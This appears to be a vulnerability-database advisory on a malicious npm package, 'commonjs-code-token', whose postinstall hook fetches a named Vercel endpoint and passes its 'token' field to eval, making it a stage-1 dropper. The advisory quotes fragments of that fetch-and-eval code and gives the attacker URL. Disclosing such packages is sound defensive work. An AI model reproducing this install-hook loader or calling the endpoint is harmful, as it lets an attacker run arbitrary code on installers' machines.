VDB

GCVE-110-OSM-2026-11138

GCVE-110-OSM-2026-11138
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published August 26, 2026
This package implements a classic remote-code-execution loader: on install (via postinstall hook), index.js fetches https://galaxy-main.vercel.app/, extracts a `token` field from the JSON response, and passes it directly to `eval(token)`. This is a textbook stage-1 dropper — the attacker controls the Vercel endpoint and can serve arbitrary JavaScript to every machine that installs the package. The description ('high-performance thread-safe cache') is a cover story with zero functional implementation. The publisher account ('davidmuchel', gmail address) is brand-new with a single package and no repository, consistent with a throwaway attacker account. There is no legitimate explanation for fetching remote content and eval-ing it on install. ENTRY index.js (install-hook: node index.js) - Install Hook Executes Local JS File in package.json DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Fetch and Eval/Exec in index.js: "fetch("https://galaxy-main.vercel.app/"); const { token } = await res.json(); ev..." - Network Request in index.js: "fetch("https:" ADDITIONAL FINDINGS - Dynamic Code Execution in index.js: "eval(token)" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.js

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknowncommonjs-code-tokenall (affected)

References

vendor

Browse GCVE Records

3,587 records in the GCVE database · Updated September 5, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›